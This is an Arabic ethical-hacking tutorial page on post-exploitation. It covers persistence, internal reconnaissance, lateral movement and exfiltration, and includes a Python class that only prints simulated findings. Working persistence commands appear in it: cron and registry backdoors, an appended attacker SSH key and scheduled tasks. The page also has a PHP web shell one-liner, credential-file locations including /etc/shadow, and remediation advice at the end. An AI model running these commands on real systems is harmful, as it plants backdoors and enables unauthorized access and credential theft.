Kodax

ما بعد الاختراق (Post-Exploitation) — الاختراق الأخلاقي

Post-Exploitation

ما هو؟

الخطوات بعد الحصول على وصول مبدئي للنظام.

الأهداف

1. الثبات: البقاء في النظام

2. رفع الصلاحيات: الحصول على root/admin

3. الاستطلاع الداخلي: معرفة المزيد

4. التحرك الجانبي: الوصول لأنظمة أخرى

5. جمع البيانات: الهدف النهائي

1. الثبات (Persistence)

Linux

# Cron job
echo "* * * * * /tmp/backdoor.sh" >> /etc/crontab

# SSH keys
echo "attacker_pubkey" >> ~/.ssh/authorized_keys

# Systemd service

Windows

# Registry Run key
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v Updater /d "C:\backdoor.exe"

# Scheduled Task
schtasks /create /tn "Update" /tr "C:\backdoor.exe" /sc onlogon

2. استطلاع داخلي

معلومات النظام

# Linux
whoami && id
uname -a
cat /etc/passwd
ps aux

# Windows
whoami /all
systeminfo
net user

الشبكة

# Linux
ifconfig / ip a
netstat -tulpn
cat /etc/hosts

# Windows
ipconfig /all
netstat -ano
arp -a

3. التحرك الجانبي

Pass the Hash (Windows)

استخدام hash بدون كسره

SSH Keys

استخدام مفاتيح مكتشفة

Network Shares

# Windows
net view
net use \\server\share

4. جمع البيانات

الملفات المهمة

- Configuration files

- Database backups

- Credentials

- Documents

Exfiltration

- HTTP/HTTPS

- DNS tunneling

- Cloud storage

# محاكاة Post-Exploitation
import os
import json
from datetime import datetime

class PostExploitationDemo:
    """
    محاكاة مراحل Post-Exploitation للتعليم
    ⚠️ للأغراض التعليمية فقط!
    """
    
    def __init__(self):
        self.access_level = "user"
        self.discovered_data = []
        self.lateral_targets = []
    
    def enumerate_system(self):
        """استطلاع النظام"""
        print("\n🔍 System Enumeration")
        print("=" * 50)
        
        # محاكاة معلومات النظام
        system_info = {
            "hostname": "CORP-WEB-01",
            "os": "Ubuntu 20.04 LTS",
            "kernel": "5.4.0-generic",
            "current_user": "www-data",
            "groups": ["www-data", "adm"],
            "ip_addresses": ["192.168.1.100", "10.0.0.50"],
        }
        
        print(f"\n  📌 Hostname: {system_info['hostname']}")
        print(f"  💻 OS: {system_info['os']}")
        print(f"  🐧 Kernel: {system_info['kernel']}")
        print(f"  👤 User: {system_info['current_user']}")
        print(f"  👥 Groups: {', '.join(system_info['groups'])}")
        print(f"  🌐 IPs: {', '.join(system_info['ip_addresses'])}")
        
        return system_info
    
    def enumerate_network(self):
        """استطلاع الشبكة"""
        print("\n🌐 Network Enumeration")
        print("=" * 50)
        
        # محاكاة اكتشاف الشبكة
        network_data = {
            "internal_hosts": [
                {"ip": "192.168.1.1", "hostname": "router", "ports": [22, 80]},
                {"ip": "192.168.1.10", "hostname": "DC01", "ports": [53, 88, 389, 445]},
                {"ip": "192.168.1.20", "hostname": "FILE-SRV", "ports": [445, 139]},
                {"ip": "192.168.1.30", "hostname": "DB-SRV", "ports": [3306, 22]},
            ],
            "routes": ["192.168.1.0/24", "10.0.0.0/24"],
        }
        
        print("\n  🖥️ Discovered Hosts:")
        for host in network_data["internal_hosts"]:
            ports_str = ", ".join(map(str, host["ports"]))
            print(f"    {host['ip']:<15} {host['hostname']:<15} [{ports_str}]")
            self.lateral_targets.append(host)
        
        print(f"\n  🛤️ Routes: {', '.join(network_data['routes'])}")
        
        # تحديد أهداف محتملة
        print("\n  🎯 High-Value Targets:")
        for host in network_data["internal_hosts"]:
            if 88 in host["ports"]:
                print(f"    ⭐ {host['hostname']} - Domain Controller!")
            if 3306 in host["ports"]:
                print(f"    ⭐ {host['hostname']} - Database Server!")
            if 445 in host["ports"]:
                print(f"    📁 {host['hostname']} - File Shares")
        
        return network_data
    
    def find_credentials(self):
        """البحث عن بيانات الاعتماد"""
        print("\n🔑 Credential Hunting")
        print("=" * 50)
        
        found_creds = []
        
        # محاكاة الأماكن الشائعة
        locations = [
            ("/var/www/html/config.php", "db_password = 'P@ssw0rd123'"),
            ("~/.bash_history", "mysql -u root -pSecretPass"),
            ("/home/admin/.ssh/id_rsa", "[PRIVATE KEY FOUND]"),
            ("~/.git-credentials", "https://user:token@github.com"),
            ("/etc/shadow", "admin:$6$rounds=...:[HASH]"),
        ]
        
        print("\n  📂 Checking common locations...")
        for path, finding in locations:
            print(f"\n    📄 {path}")
            print(f"       ✅ Found: {finding[:40]}...")
            found_creds.append({"location": path, "data": finding})
        
        self.discovered_data.extend(found_creds)
        
        # Environment variables
        print("\n  🔧 Environment Variables:")
        env_creds = [
            ("DB_PASSWORD", "Production123!"),
            ("API_KEY", "sk_live_abc123..."),
            ("AWS_SECRET_KEY", "wJalrXUtnFEMI..."),
        ]
        
        for var, value in env_creds:
            print(f"    {var}={value[:15]}...")
            found_creds.append({"location": f"ENV:{var}", "data": value})
        
        return found_creds
    
    def establish_persistence(self):
        """إنشاء Persistence"""
        print("\n🔒 Establishing Persistence")
        print("=" * 50)
        
        methods = [
            {
                "name": "SSH Key",
                "command": "echo 'attacker_key' >> ~/.ssh/authorized_keys",
                "stealth": "High",
                "reliability": "High"
            },
            {
                "name": "Cron Job",
                "command": "echo '*/5 * * * * /tmp/.backdoor' >> /etc/crontab",
                "stealth": "Medium",
                "reliability": "High"
            },
            {
                "name": "Web Shell",
                "command": "echo '<?php system($_GET[\"c\"]); ?>' > /var/www/.hidden.php",
                "stealth": "Low",
                "reliability": "Medium"
            },
            {
                "name": "Systemd Service",
                "command": "Create /etc/systemd/system/updater.service",
                "stealth": "Medium",
                "reliability": "High"
            },
        ]
        
        print("\n  📌 Persistence Methods:")
        for m in methods:
            print(f"\n    🔧 {m['name']}")
            print(f"       Command: {m['command'][:50]}...")
            print(f"       Stealth: {m['stealth']} | Reliability: {m['reliability']}")
        
        return methods
    
    def lateral_movement(self):
        """التحرك الجانبي"""
        print("\n➡️ Lateral Movement")
        print("=" * 50)
        
        if not self.lateral_targets:
            print("  ❌ No targets discovered")
            return
        
        print("\n  🎯 Attempting lateral movement...")
        
        # محاكاة محاولات
        attempts = [
            {
                "target": "DB-SRV (192.168.1.30)",
                "method": "SSH with discovered key",
                "result": "✅ SUCCESS"
            },
            {
                "target": "FILE-SRV (192.168.1.20)",
                "method": "SMB with Pass-the-Hash",
                "result": "✅ SUCCESS"
            },
            {
                "target": "DC01 (192.168.1.10)",
                "method": "Kerberoasting",
                "result": "⏳ Hash captured, cracking..."
            },
        ]
        
        for attempt in attempts:
            print(f"\n    🖥️ {attempt['target']}")
            print(f"       Method: {attempt['method']}")
            print(f"       Result: {attempt['result']}")
    
    def generate_report(self):
        """توليد تقرير"""
        print("\n" + "=" * 60)
        print("  📋 Post-Exploitation Summary Report")
        print("=" * 60)
        
        report = {
            "timestamp": datetime.now().isoformat(),
            "access_achieved": self.access_level,
            "credentials_found": len(self.discovered_data),
            "lateral_targets": len(self.lateral_targets),
            "recommendations": [
                "Change all discovered passwords immediately",
                "Remove unauthorized SSH keys",
                "Audit cron jobs and startup scripts",
                "Implement network segmentation",
                "Enable MFA for critical systems",
                "Deploy EDR/SIEM solutions",
            ]
        }
        
        print(f"\n  📅 Time: {report['timestamp']}")
        print(f"  🔓 Access Level: {report['access_achieved']}")
        print(f"  🔑 Credentials Found: {report['credentials_found']}")
        print(f"  🖥️ Potential Targets: {report['lateral_targets']}")
        
        print("\n  🛡️ Remediation Recommendations:")
        for i, rec in enumerate(report['recommendations'], 1):
            print(f"    {i}. {rec}")
        
        return report


# تشغيل المحاكاة
demo = PostExploitationDemo()

# تنفيذ المراحل
demo.enumerate_system()
demo.enumerate_network()
demo.find_credentials()
demo.establish_persistence()
demo.lateral_movement()
demo.generate_report()
اختبر فهمك